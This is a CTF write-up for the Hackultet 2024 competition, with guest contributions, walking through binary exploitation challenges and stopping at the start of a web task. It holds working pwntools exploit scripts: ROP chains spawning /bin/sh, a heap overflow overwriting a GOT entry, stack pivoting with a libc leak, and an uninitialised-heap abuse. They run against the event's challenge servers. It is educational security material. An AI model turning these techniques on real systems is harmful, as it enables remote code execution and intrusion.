About Hackultet
Hackultet is a CTF competition organizFed by the Croatian Academic and Research Network (CARNET) and the Faculty of electrical engineering and computing (FER).
It’s a part of the national qualifications for this years ECSC in Torino, Italy
In the end, we got a solid 2nd place, with two challenges unsolved.
Here’s a list of the top 5 spots:
1 /dev/null 6000
2 null 5400
3 gospoda 5125
4 Božidari 5125
5 Hackstreet Boys 4675
This writeup includes two guest writeups by the teams /dev/null
and Božidari
for the challenges we couldn’t solve.
We wanted this to be a complete resource for anyone interested in learning CTF’s, and we’re thankful we can share their amazing writeups with you
Walkthrough
Binary exploitation
Broj
Opis https://hackultet.hr/challenges#Broj-8
Marko zna puno o brojevima, no ima poteškoća sa zadatkom. Možeš li mu pomoći?> Spoji se na servis naredbom netcat
nc chal.hackultet.hr 13017
It’s asking for a float a
that returns false for the check
(a <= 0 || a > 0)
.
A simple NaN
is enough to get the flag:
$ echo "NaN" | nc chal.hackultet.hr 13017
CTF2024[491634754943]
Utrka 1/2
Možeš li pobijediti utrku?
nc chal.hackultet.hr 13015
We are given a zip file with the binary, source and some ASCII art.
Utrka 1 requires just calling a function (win()
),
and Utrka 2 requires getting a shell on the remote server.
I had some issues with the win()
function segfaulting even when called directly from gdb,
so I solved both parts at the same time with a shell.
Getting a shell
For a shell, we need a ROP chain with a few things, explained beautifully in this article:
https://book.hacktricks.xyz/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv
In order to prepare the call for the syscall it’s needed the following configuration:
- rax: 59 Specify sys_execve
- rdi: ptr to “/bin/sh” specify file to execute
- rsi: 0 specify no arguments passed
- rdx: 0 specify no environment variables passed
Simple and straight to the point, but we can do better.
- find the “/bin/sh” string in memory and write it’s address to
rdi
- call
system()
- profit
So how do we do that?
How to do that
Firstly, to find the offset, let’s check out what we input and where:
// main.c #28
char progress[232] = {0};
for (int i = 0;i<3;i++){
printTrack(strlen(progress)/5,i*23);
fflush(stdout);
fgets(progress+strlen(progress),101,stdin);
}
The 3 calls to fgets allow us to write a total of 300 bytes, 68 bytes past the buffer.
To find the stack offset, we use the cyclic tool provided by pwntools:
# cyclic from pwntools
$ cyclic 300 | ./utrka;
You lose :(
[1] 227310 done cyclic 300 |
227311 segmentation fault (core dumped) ./utrka
$ sudo dmesg -t | tail 139 ↵
traps: utrka[228617] general protection fault ip:4019f7 sp:7fffffffd7b8 error:0 in utrka[401000+99000]
# oops we overwrote too much
$ cyclic 270 | ./utrka || sudo dmesg -t | tail;
You lose :(
[1] 229685 done cyclic 270 |
229686 segmentation fault (core dumped) ./utrka
utrka[229686]: segfault at 617263616171 ip 0000617263616171 sp 00007fffffffd7c0 error 14 likely on CPU 4(core 4, socket 0)
Code: Unable to access opcode bytes at 0x617263616147.
$ cyclic -l 0x617263616171
264
So we need 264 bytes of padding, and then we have ~38 bytes for our rop chain.
That’s not a lot of space. (Not enough to setup the call to execve
)
The primitives we need are:
- the string
/bin/sh
- a way to write its adress into
rdi
- and the address of
system
$ rz-bin -z utrka | grep "/bin/sh"
55 0x0009b005 0x0049b005 7 8 .rodata ascii /bin/sh
It’s at 0x49b005
when virtually mapped with PIE disabled.
We can write it into rdi
with a pop rdi
gadget:
$ ROPgadget --binary utrka | grep "pop rdi ; ret"
0x00000000004880fb : add al, ch ; pop rdi ; retf 0xfff7
0x000000000040256f : pop rdi ; ret
0x00000000004880fd : pop rdi ; retf 0xfff7
And because we have the entirety of statically linked libc at our disposal, we have a ton of useful gadgets. (ROPGadget finds 41k gadgets, it’s amazing)
The function system()
is also statically linked, we can find it with:
$ nm utrka | grep system
000000000040ba00 t do_system
000000000040be70 T __libc_system
000000000040be70 W system
00000000004b0940 r system_dirs
We’ll also need some padding (https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/stack-alignment)
ROPgadget --binary utrka | grep ": ret$"
0x000000000040101a : ret
Now we have everything we need to do a proper ROP chain:
from pwn import *
#b = process("./utrka")
b = remote("chal.hackultet.hr", "13015")
p = b'a'*264 # padding
p += p64(0x40256f) # pop rdi; ret gadget
p += p64(0x49b005) # /bin/sh
p += p64(0x40101a) # ret for padding the call to system
p += p64(0x40be70) # system
p += b"\x00\x00\x00\x00\x00\x00\x00\x00" # some more padding
# the additional padding is not strictly needed, but it makes the program behave better
b.send(p)
b.interactive()
And then we can get both the flags:
$ py exp.py
$ ls
busybox
flag.txt
opponentCar.txt
systemOwnFlag.txt
track.txt
utrka
yourCar.txt
$ cat flag.txt
CTF2024[395847397764]
$ cat systemOwnFlag.txt
CTF2024[223653716405]
Bitka - guest writeup from team Božidari
Many thanks to the team Božidari for writing up this challenge we couldn’t solve
Vitez, čarobnjak ili strijelac… Tko će pobijediti?
nc chal.hackultet.hr 13018
We are given an exploit template script and a ZIP file with the binary, source, some ASCII art text files, libc and the ld-linux linker. Most of these files weren’t useful other than the binary and the source (duh…).
The goal here is to somehow call the trueWinner
function that reads the flag and prints it
out.
Looking at the source, we notice that the only overflow we have is the char* background
in
the combatant
struct. During allocation, it’s initialized with the size of 64 bytes,
but inputting allows for 150 bytes. Unfortunately, this overflow is on the heap, which makes ROP a little
difficult.
We can notice that the structs and the char* background
fields are allocated one after
another, meaning that the rough memory layout will look like this.
|--------------------------|
| combatant1 (32 bytes) |
|--------------------------|
| combatant1->background |
| (64 bytes) |
|--------------------------|
| combatant2 (32 bytes) |
|--------------------------|
| combatant2->background |
| (64 bytes) |
|--------------------------|
This allows us to write into the combatant2
fields by overflowing
combatant1->background
. That being said, we can overwrite the pointer that the
combatant2->background
points to, meaning that afterwards it will no longer point to the
address on the heap given by malloc, but to some other address we want it to point at which then we can
write to during creation of combatant2
. >:)
The solution here is to take one of the addresses in the GOT (Global offset table) and write to it. The GOT is just a place in the ELF binary that maps to addresses of some libc functions used in the program. It looks something like this:
[0x404018] puts@GLIBC_2.2.5 -> 0x7ffff7e20a60
[0x404020] fclose@GLIBC_2.2.5 -> 0x401040
[0x404028] __stack_chk_fail@GLIBC_2.4 -> 0x401050
[0x404030] printf@GLIBC_2.2.5 -> 0x401060
[0x404038] fgetc@GLIBC_2.2.5 -> 0x401070
[0x404040] srand@GLIBC_2.2.5 -> 0x401080
[0x404048] fgets@GLIBC_2.2.5 -> 0x401090
[0x404050] strcmp@GLIBC_2.2.5 -> 0x4010a0
[0x404058] feof@GLIBC_2.2.5 -> 0x4010b0
[0x404060] time@GLIBC_2.2.5 -> 0x4010c0
[0x404068] tolower@GLIBC_2.2.5 -> 0x4010d0
[0x404070] malloc@GLIBC_2.2.5 -> 0x7ffff7e44920
[0x404078] fflush@GLIBC_2.2.5 -> 0x7ffff7e1e760
[0x404080] fopen@GLIBC_2.2.5 -> 0x401100
[0x404088] __isoc99_scanf@GLIBC_2.7 -> 0x401110
[0x404090] fwrite@GLIBC_2.2.5 -> 0x401120
[0x404098] sleep@GLIBC_2.2.5 -> 0x7ffff7e9ca90
[0x4040a0] rand@GLIBC_2.2.5 -> 0x401140
For our exploit, we decided to overwrite the location of the rand function, so that when it’s
called in battle
, it will not jump to rand from libc, but to trueWinner
.
Now, the steps are pretty simple, during creation of combatant1
, we need to put in arbitrary
values for the name, class and age. Then for the background, we can write values until we get to wherever
combatant2->background
is and write 0x4040a0 into it. The pointer will now point to 0x4040a0
and during creation of combatant2
we just have to enter 0x401813 while writing to
background
, which now points to the GOT entry for rand instead of somewhere in the heap.
Full exploit script is this:
from pwn import *
p = remote("chal.hackultet.hr", 13018)
#p = proccess("./bitka")
elf = ELF("./bitka", checksec = False)
rand_got = p64(elf.got["rand"])
win_addr = p64(elf.sym["trueWinner"])
payload = b"a\nvitez\n10\n";
payload += b"a" * 104 + rand_got + b"\n"
payload += b"a\nvitez\n10\n"
payload += win_addr + b"\n"
p.send(payload)
p.interactive()
The b"a" * 104
is there because the distance between the char* background
from
combatant1
and combatant2
is 104 (64 bytes of first background, 16 bytes of
malloc header and 24 bytes of the second struct).
And then after we run it:
... random program output ...
Bitka zapocinje.
Chin, pft, plow...
CTF2024[648369071467]Bitka je bila duga i teska, ali na vrhu jest ostao a
_,.
,` -.)
( _/-\\-._
/,|`--._,-^| ,
\_| |`-._/|| ,'|
| `-, / | / /
| || | / /
`r-._||/ __ / /
__,-<_ )`-/ `./ /
' \ `---' \ / /
| |./ /
/ // /
\_/' \ |/ /
| | _,^-'/ /
| , `` (\/ /_
\,.->._ \X-=/^
( / `-._//^`
`Y-.____(__}
| {__)
()
\xff_2\xa5\x7f
[*] Got EOF while reading in interactive
$
Voila, the flag is CTF2024[648369071467]
ZEN - guest writeup from the winners (/dev/null)
This writeup was generously sent to us by the team /dev/null
, who were the only ones to solve
this challenge during the competition
Automatizirani sustav za testiranje sigurnosti koda je detektirao korištenje nesigurnih funkcija u kodu ovog servisa. Možeš li iskoristiti ranjivost?
nc chal.hackultet.hr 13014
As part of the challenge we are given a simple c file, an executable binary and a libc file.
#include <stdio.h>
char padding[3000];
char array[100];
int func(int a);
void vuln();
int main(int argc, char const *argv[])
{
puts("Welcome");
fgets(array,100,stdin);
func(50);
puts("Goodbye");
return 0;
}
int func(int a){
vuln();
return a + 10;
}
void vuln(){
long longs[6];
fgets(longs,56,stdin);
}
What we are exploiting
As seen in the code the vuln function has a bug where it reads in 56 bytes of user input into a buffer of
48 bytes (long is 8B on a linux 64bit system). That means we can overwrite 8 bytes after the
longs
buffer. The 8 bytes following the buffer contain the saved address of the rbp register
so that is the only thing we can overwrite. So how do we utilize that? As it turns out every function in
x86 ends with a function epilogue that collapses the stack frame by first moving the base pointer into the
stack pointer and then restoring the old base pointer value from the stack. This way the stack pointer and
base pointer now once again point to the previous frame.
// Function epilogue
mov rsp, rbp;
pop rbp;
ret;
We can use this to our advantage by overwritting the value that is stored on the stack for the rbp register. Notice that as stack frames collapse the value of rbp gets put into the stack pointer and can control what value ends up in the base pointer. That means we can control the value that ends up in the stack pointer effectively changing where the stack of the program is. We will redirect the stack to memory we control and populate that memory with our ROP chain. This technique is called “stack pivoting” and is used when there is not enough space on the stack to put our ROP chain.
Now the “only” thing left is writing the ROP chain.
Writting the ROP chain
If we run the checksec
command on our binary we will see it has no canaries or PIE. We can
also see that libc is dynamically linked to the binary so it will be subject to ASLR. As we want to run
some code from libc (system
) we first need to leak the address where libc is located. The
normal way to do this is take a gadget that loads something into the rdi register and load a value from
the GOT into it. The GOT is a table that is used by the dynamic linker and is populated at runtime with
the addresses of libc functions. As the GOT is part of the binary itself it is not subject to ASLR only
PIE but since PIE is disabled we know where that table is at all times. So what we would normally do is
find a pop rdi; ret;
gadget and use puts
to leak an address using the GOT.
However in this binary there is no pop rdi
gadget. There is also no other gadget that simply
allows us to write to the rdi register. So what now? Well can try to exploit the binaries own code in the
true spirit of ROP. So there are two calls to puts
in the binary. I chose the second one for
the exploit as there is a ret instruction close to it.
# in func
0x00000000004011cf <+25>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004011d2 <+28>: add eax,0xa
0x00000000004011d5 <+31>: leave
0x00000000004011d6 <+32>: ret
# in main
0x000000000040119b <+69>: call 0x4011b6 <func>
0x00000000004011a0 <+74>: lea rax,[rip+0xe65] # 0x40200c
0x00000000004011a7 <+81>: mov rdi,rax
0x00000000004011aa <+84>: call 0x401050 <puts@plt>
If you take a look at the disassebly above you can see that if we can control rax
we can
control what is printed out by puts. Also notice how in the func
function there is code that
sets rax
based only on the value of rbp
. Lucky for use there is a
pop rbp; ret;
gadget in the binary. This means we will set rbp
to a value of
some memory - 4 (memory we control) and at that memory we’re gonna put the address of the thing we
want printed out - 0xa. Lets take a look at the exploit to do that:
from pwn import *
context.binary = elf = ELF("./file")
rop = ROP(elf)
libc = ELF("./libc.so.6")
rop_libc = ROP(libc)
ld = ELF("./ld-linux-x86-64.so.2")
# Pwntools allows us to call the binary with the libc provided in the challenge
io = process([ld.path, elf.path], env={"LD_PRELOAD": libc.path})
# io = remote("chal.hackultet.hr", 13014)
# Exploit part 1
offset = 48
puts = p64(elf.plt['puts'])
fgets = p64(elf.plt['fgets'])
func_set_eax = p64(0x4011cf)
pop_rbp = p64(0x000000000040113d)
rbp = p64(elf.sym.array + 36)
got_leak = elf.got['puts'] - 0xa
saved_rbp = p64(0x7ffdde6a4600)
main_call_puts = p64(0x00000000004011a7)
array_payload = b"B" * 8 + pop_rbp + rbp + func_set_eax + p64(got_leak) + b"E" * 4 + pop_rbp + p64(elf.sym.array + 64) + main_call_puts + b"E" * 4 + pop_rbp + saved_rbp + p64(elf.sym.main)
overflow_payload = b"A" * offset + p64(elf.sym.array)
io.recvuntil(b"Welcome\n")
io.sendline(array_payload)
io.send(overflow_payload[:len(overflow_payload) - 1])
Our ROP chain is located in the array_payload variable and we can see that it sets rbp to some memory
inside the array and that calls the gadget that sets eax
to the desired value (in this case
got[‘puts’] - 0xa). After that is done we need to restore rbp to some normal value otherwise
the program will crash and finally we can call puts. This puts call will leak a memory address inside libc
effectively bypassing ASLR.
Okay we have the leak what now?
Now the idea is to start the program again, so we can exploit it again, but time we know the address of
libc and can change the array ROP chain to something that calls system("/bin/sh")
. We
accomplish this by adding the last part of the array payload above (p64(elf.sym.main)
) which
means the ROP chain at the end just jumps to the start of main, starting execution once again.
# Exploit part 2
libc_leak_got_puts = u64(io.recvuntil(b'\n').strip().ljust(8, b'\x00'))
puts_offset = libc.symbols['puts']
libc.address = libc_leak_got_puts - puts_offset
system_addr = p64(libc.symbols['system'])
pop_rdi = p64(libc.address + rop_libc.find_gadget(['pop rdi', 'ret'])[0])
bin_sh = p64(next(libc.search(b'/bin/sh')))
print(hex(u64(pop_rdi)))
print(hex(u64(bin_sh)))
print(hex(u64(system_addr)))
array_payload2 = b"A" * 16 + pop_rdi + bin_sh + system_addr
overflow_payload2 = b"A" * offset + p64(elf.sym.array)
io.sendline(array_payload2)
io.send(overflow_payload2[:len(overflow_payload) - 1])
io.interactive()
Now in the second part of the exploit we’re exploiting the program in the same way again but this
time the ROP chain inside array_payload is changed to insted call system("/bin/sh")
. Pwntools
is really helpful here as it can take the leak puts
prints out and if you take that leak and
calucate with it the base address of libc you can set the libc address inside pwntools to that value and
pwntools will automatically recalibrate all addresses in libc to fit where your libc is in memory. After
we know where libc is we can use it to look for gadgets and easily find a gadget that sets the value of
the rdi register.
You can see the final exploit here:
from pwn import *
context.binary = elf = ELF("./file")
rop = ROP(elf)
libc = ELF("./libc.so.6")
rop_libc = ROP(libc)
ld = ELF("./ld-linux-x86-64.so.2")
io = process([ld.path, elf.path], env={"LD_PRELOAD": libc.path})
# io = remote("chal.hackultet.hr", 13014)
offset = 48
puts = p64(elf.plt['puts'])
fgets = p64(elf.plt['fgets'])
func_set_eax = p64(0x4011cf)
pop_rbp = p64(0x000000000040113d)
rbp = p64(elf.sym.array + 36)
leak = elf.got['puts'] - 0xa
saved_rbp = p64(0x7ffdde6a4600)
main_call_puts = p64(0x00000000004011a7)
array_payload = b"B" * 8 + pop_rbp + rbp + func_set_eax + p64(leak) + b"E" * 4 + pop_rbp + p64(elf.sym.array + 64) + main_call_puts + b"E" * 4 + pop_rbp + saved_rbp + p64(elf.sym.main)
overflow_payload = b"A" * offset + p64(elf.sym.array)
io.recvuntil(b"Welcome\n")
io.sendline(array_payload)
io.send(overflow_payload[:len(overflow_payload) - 1])
libc_leak_got_puts = u64(io.recvuntil(b'\n').strip().ljust(8, b'\x00'))
puts_offset = libc.symbols['puts']
libc.address = libc_leak_got_puts - puts_offset
system_addr = p64(libc.symbols['system'])
pop_rdi = p64(libc.address + rop_libc.find_gadget(['pop rdi', 'ret'])[0])
bin_sh = p64(next(libc.search(b'/bin/sh')))
print(hex(u64(pop_rdi)))
print(hex(u64(bin_sh)))
print(hex(u64(system_addr)))
array_payload2 = b"A" * 16 + pop_rdi + bin_sh + system_addr
overflow_payload2 = b"A" * offset + p64(elf.sym.array)
io.sendline(array_payload2)
io.send(overflow_payload2[:len(overflow_payload) - 1])
io.interactive()
There are different offset at random parts of this exploit. These are here because they are needed to
align everything nicely in memory. They were found mostly through trial and error and for that process a
debugger is necessary. I used pwndbg
for this challege and i would recommend anyone that
wants to learn more about exploitation to learn how to use pwndbg
. Pwntools also has a neat
feature where you can attach gdb straight from pwntools and open it in a side by side window to see what
is going on as you run the exploit.
# How to open up the side by side view of gdb and pwntools
# For this to work your terminal needs to be in a tmux session
context.terminal = ["tmux", "splitw", "-h"]
gdb.attach(io, """
<gdb commands can go in here>
""")
If you run this exploit against the remote server you should get a shell on the server.
Flag: CTF2024[568349016394]
Karte
Anja je napravila kartašku igru, no nešto nije u redu…
nc chal.hackultet.hr 13016
Lets see what the task is about first:
$ nc chal.hackultet.hr 13016 130 ↵
Dobrodosli! Odaberite opciju:
1) Opis igre
2) Zapocni igru
1
Opis igre
Bit ce vam dano 7 karata sa slucajno odabranim znakovima od 13 mogucih iz standardnog 52-kartaskog spila. Boje pik, herc, karo
i tref nece biti zadane. Broj karata u spilu jest beskonacan.
Vas cilj jest sakupiti 7 razlicitih najjacih karti. Slijed snage karata jest isti kao i u standardnom spilu, gdje je dvojka (2) najslabija.
Dane su vam 3 opcije jednom kada igra zapocne: premjesti, ukloni te vuci.
Opciju birate unosom odgovarajuceg broja (1 za premjesti, 2 za ukloni i 3 za vuci).
Odabirom 1. opcije premjesti, mozete premjestiti pozicije dviju karata vaseg odabira (ukljucuje prazne pozicije).
Da odaberete 2 pozicije, bit ce vam ponuden selektivan unos za 2 broja koji moraju biti odvojeni razmakom.
Druga opcija daje mogucnost uklanjanja karata vaseg odabira iz trenutne ruke. Na mjestu uklonjenih karti preostati ce prazna pozicija.
Treca i posljednja opcija jest opcija vuci. Ako vam trenutna ruka sadrzi manje od 7 karata,prazna pozicija na najnizem indeksu jest popunjena
novom kartom. Ako vam ruka sadrzi 7 karata, karta na indeksu 7 biti ce zamijenjena novom.Medutim, postoji "kvaka".
Ako se odlucite za opciju vuci dok vam ruka sadrzi 7 karata te kartu koju ste izvukli vec imate u ruci, izgubili ste.
Dijalog igre vam nece prikazati koju kartu ste izvukli,ali ne brinite, igra vas nece prevariti :).
*Did you hear about the sticky deck, it was hard to deal with.
___ ___ ___ ___ ___ ___ ___
| || || || || || || |
| 6 || Q || K || J || K || 2 || Q |
|___||___||___||___||___||___||___|
1. 2. 3. 4. 5. 6. 7.
Odaberite akciju: 1) Premjesti 2) Ukloni 3) Vuci
3
___ ___ ___ ___ ___ ___ ___
| || || || || || || |
| 6 || Q || K || J || K || 2 || A |
|___||___||___||___||___||___||___|
1. 2. 3. 4. 5. 6. 7.
And look at the source code:
// karte.c #51
do
{
while ((input[0] = getchar()) != '\n' && input[0] != EOF);
printCards();
puts("Odaberite akciju: 1) Premjesti 2) Ukloni 3) Vuci");
scanf("%c", input);
switch (input[0])
...
} while (check() == 1);
// karte.c #199
int check()
{
for(int i = 0;i<7;i++){
if (playingCards[i] == NULL)
return 1;
}
int sum = 0;
for (int i = 0; i < 7; i++)
{
for (int j = i + 1; j < 7; j++)
{
if (playingCards[i]->value == playingCards[j]->value)
return 1;
}
sum += playingCards[i]->value;
}
if (sum == 638)
return 0;
else
return 1;
}
So we need 7 unique cards, that sum to 638.
There’s just one problem:
Python 3.12.3 (main, Apr 23 2024, 09:16:07) [GCC 13.2.1 20240417] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> sum([ord(x) for x in "akqjt98"])
652
>>> sum([ord(x) for x in "akqjt23"])
640
>>> sum([ord(x) for x in "akqj923"])
581
A sum of 638 is impossible to get with the cards available.
(Unless we can break the uniqueness rule, but that doesn’t look possible)
And let’s also run it locally:
$ ./karte
Dobrodosli! Odaberite opciju:
1) Opis igre
2) Zapocni igru
1
[1] 245114 segmentation fault (core dumped) ./karte
Oops.
If we look at the source, we see it’s trying to read description.txt
, so let’s
fix that real quick
$ echo "according to all known laws of aviation there is no way a bee should be able to fly" > description.txt
$ ./karte
Dobrodosli! Odaberite opciju:
1) Opis igre
2) Zapocni igru
1
according to all known laws of aviation there is no way a bee should be able to fly
___ ___ ___ ___ ___ ___ ___
| || || || || || || |
| T || 3 || K || 3 || 7 || 4 || T |
|___||___||___||___||___||___||___|
1. 2. 3. 4. 5. 6. 7.
Odaberite akciju: 1) Premjesti 2) Ukloni 3) Vuci
3
___ ___ ___ ___ ___ ___ ___
| || || || || || || |
| T || 3 || K || 3 || 7 || 4 || O |
|___||___||___||___||___||___||___|
1. 2. 3. 4. 5. 6. 7.
Odaberite akciju: 1) Premjesti 2) Ukloni 3) Vuci
Now I was extremely lucky here,
and it’s because O
is not a valid card.
How did it get pulled then?
We have to look into the source:
$ cppcheck karte.c
Checking karte.c ...
karte.c:111:9: error: Uninitialized struct member: c.value [uninitStructMember]
if (c->value == 0)
^
Active checkers: 40/565
Ooh, fun
// karte.c #108
void draw()
{
struct card *c = (struct card *)malloc(sizeof(struct card));
if (c->value == 0)
{
c->value = values[rand() % 13];
}
for (int i = 0; i < 7; i++)
{
if (playingCards[i] == NULL)
{
playingCards[i] = c;
return;
}
}
for (int i = 0; i < 7; i++)
{
if (c->value == playingCards[i]->value)
{
puts("Kartu koju ste izvukli vec imate u ruci. Izgubili ste :(");
exit(0);
}
}
playingCards[6] = c;
}
What’s happening here is basically:
- we allocate a huge buffer for reading
description.txt
- we free it
- If we pull a card with 7 cards already present, we allocate a space for another card, and read uninitialized data from it
- repeat step 3 until you get a good character for getting the sum 638
Here’s the script I wrote for it (cleaned up a lot for your convenience):
# breaker.py
from pwn import *
p = remote("chal.hackultet.hr", "13016")
p.sendline(b"1")
p.recvuntil(b"\n\n\n")
def getCards(prt = True):
if prt:
print(p.recvline().decode(), end="")
print(p.recvline().decode(), end="")
print(a := p.recvline().decode(), end="")
print(p.recvline().decode(), end="")
print(p.recvline().decode(), end="")
else:
p.recvline()
p.recvline()
a = p.recvline().decode()
p.recvline()
p.recvline()
return a
a = getCards()
bad_cards = ['A', 'K', 'J', 'T']
# All the cards you can pull from uninitialized data before
# you pull a char that isn't in 23456789akqjt
# why did you do this Benjamin
if any([x in a for x in bad_cards]):
print("Got bad cards: ", [(x, x in a) for x in bad_cards])
p.recvuntil(b"Vuci", timeout=1)
# timeout used to prevent locking on stdout
def case3(prt = False): # pull a card
p.sendline(b"3")
p.recvline()
out = getCards(prt)
p.recvuntil(b"Vuci", timeout=1)
return out
def caseq(prt = False): # remove last card
p.sendline(b"2 7") # this works
p.recvline()
out = getCards(prt)
p.recvuntil(b"Vuci", timeout=1)
return out
while True:
match input('> '):
case 'q': caseq(True)
case '3': case3(True)
case 'r': # automate getting to the cool char
while True:
caseq()
a = case3()
if not all([x in '0123456789AKQJT |\n' for x in a]):
print([x for x in a if not x in '0123456789AKQJT |\n'])
print(a)
print("GOOD STUFF")
break
if any([x in a for x in bad_cards]):
print("Pulled a bad card, trying another")
print([(x, x in a) for x in bad_cards])
else:
a = case3(True)
c = a[32]
if not c in '0123456789AKQJT |\n':
print("GOT THE THING!!!")
print(c)
p.interactive()
break
case x: # default case, just send it raw
p.sendline(x.encode())
print(p.recvuntil(b"Vuci", timeout=1).decode())
Here’s me running it:
$ py breaker.py 130 ↵
[+] Opening connection to chal.hackultet.hr on port 13016: Done
___ ___ ___ ___ ___ ___ ___
| || || || || || || |
| 5 || 4 || 3 || T || 3 || 7 || Q |
|___||___||___||___||___||___||___|
1. 2. 3. 4. 5. 6. 7.
Got bad cards: [('A', False), ('T', True), ('K', False), ('J', False)]
> 2 4 # cleanup
Odaberite indeks karte koju zelite ukloniti
___ ___ ___ ___ ___ ___ ___
| || || || || || || |
| 5 || 4 || 3 || || 3 || 7 || Q |
|___||___||___||___||___||___||___|
1. 2. 3. 4. 5. 6. 7.
Odaberite akciju: 1) Premjesti 2) Ukloni 3) Vuci
> 3
___ ___ ___ ___ ___ ___ ___
| || || || || || || |
| 5 || 4 || 3 || 2 || 3 || 7 || Q |
|___||___||___||___||___||___||___|
1. 2. 3. 4. 5. 6. 7.
> r
Pulled a bad card, trying another
[('A', False), ('T', False), ('K', True), ('J', False)]
___ ___ ___ ___ ___ ___ ___
| || || || || || || |
| 5 || 4 || 3 || 2 || 3 || 7 || A |
|___||___||___||___||___||___||___|
1. 2. 3. 4. 5. 6. 7.
___ ___ ___ ___ ___ ___ ___
| || || || || || || |
| 5 || 4 || 3 || 2 || 3 || 7 || A |
|___||___||___||___||___||___||___|
1. 2. 3. 4. 5. 6. 7.
// a bunch of lines cut
___ ___ ___ ___ ___ ___ ___
| || || || || || || |
| 5 || 4 || 3 || 2 || 3 || 7 || T |
|___||___||___||___||___||___||___|
1. 2. 3. 4. 5. 6. 7.
Pulled a bad card, trying another
[('A', False), ('T', False), ('K', False), ('J', True)]
___ ___ ___ ___ ___ ___ ___
| || || || || || || |
| 5 || 4 || 3 || 2 || 3 || 7 || * |
|___||___||___||___||___||___||___|
1. 2. 3. 4. 5. 6. 7.
GOT THE THING!!!
*
[*] Switching to interactive mode
$
From here, you can manually remove/draw cards until you get the hand akqjt9*
Odaberite akciju: 1) Premjesti 2) Ukloni 3) Vuci
$ 3
___ ___ ___ ___ ___ ___ ___
| || || || || || || |
| K || J || A || Q || T || 9 || * |
|___||___||___||___||___||___||___|
1. 2. 3. 4. 5. 6. 7.
⣿⣿⡿⠿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢿⣿⣿⣿
⣿⣿⡀⠀⠀⢸⣿⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⢻⣿⠏⠀⠀⠹⣿⣿
⣿⣿⣷⣄⣰⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⠙⠻⢿⣿⣿⣿⣦⣄⣠⣴⣿⣿
⣿⣿⣿⡟⣿⣿⣿⣿⣿⣿⣧⡈⠁⠀⠉⠉⠉⠁⢸⣿⣿⣿⣿⡟⢻⣿⣿⣿
⣿⣿⣿⡇⣿⣿⡿⠋⠉⢤⡹⣿⣿⠀⠠⠀⠀⠀⢹⣿⣿⣿⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣷⠀⠚⡪⠴⠿⠿⠀⠠⠁⣠⣄⠘⠿⠿⠛⢿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣿⡄⠀⠉⠀⠀⠀⠀⠀⠀⠙⠻⣷⣇⢸⠬⠂⡇⢸⣿⣿⣿
⣿⣿⣿⡇⡟⠋⠙⣷⣤⣤⡄⠀⠀⠀⠀⠀⠀⠀⠞⠛⠈⠂⠀⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣷⡐⢋⢘⣿⣿⠇⠀⠀⠀⠀⢀⣄⡀⢀⡠⠂⠻⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣷⣶⡿⠋⠁⠀⠀⠀⠀⠀⠸⣿⣿⡟⠕⠡⢎⣼⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣿⣤⠊⠀⠀⢀⠀⠀⠀⠀⢻⣿⣏⠴⢲⢸⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⡿⠁⠀⠀⣤⣾⡀⠀⠀⢀⢀⣸⣿⡜⢚⣣⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣷⣤⡀⠀⠈⠻⢿⡄⠀⠸⣿⢏⠄⠈⢻⣿⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣿⣿⣿⣶⠀⠀⠈⠁⠀⢠⣧⡐⠐⣱⣿⣿⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿⠟⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣿⣿⣿⣁⣠⠄⠀⠠⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣤⣿⢿⣿⣿⣿⣿⣿⣿⢸⣿⣿⣿
⣿⣿⣿⣇⣿⣿⣿⣿⡿⠇⠀⠠⠀⠀⠀⠀⠆⠀⢼⣿⣿⣿⣿⣿⣸⣿⣿⣿
⣿⣿⣿⠟⠻⣿⣿⣿⣿⣶⣿⣶⣷⣶⣶⣶⣶⣷⣾⣿⣿⣿⣿⡟⠻⣿⣿⣿
⣿⣿⠋⠀⠀⠙⣿⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣻⣿⡋⠀⠀⠙⣿⣿
⣿⣿⣦⣄⣠⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣄⣠⣾⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
CTF2024[285106921365]
[*] Got EOF while reading in interactive
We also get some beautiful Unicode art
(It’s even more beautiful at 3AM after several hours of debugging)
Web
Stjepanove knjige
Stjepan je odlučio napraviti stranicu na koju će stavljati preporuke knjiga za svoje prijatelje.
Stjepan ne želi da njegova stranica bude indeksirana, osim što je na zamolbu Luke pristao dopustiti njegovom web crawleru da indeksira njegovu stranicu.
The description mentions webcrawlers and indexing, so we check robots.txt
:
# /robots.txt
User-agent: LukinCrawler
Disallow:
Sitemap: http://chal.hackultet.hr:13008/sitemap-index.xml
User-agent: *
Disallow: /
A sitemap should be useful
<!-- /sitemap-index.xml -->
<?xml version="1.0" encoding="UTF-8"?>
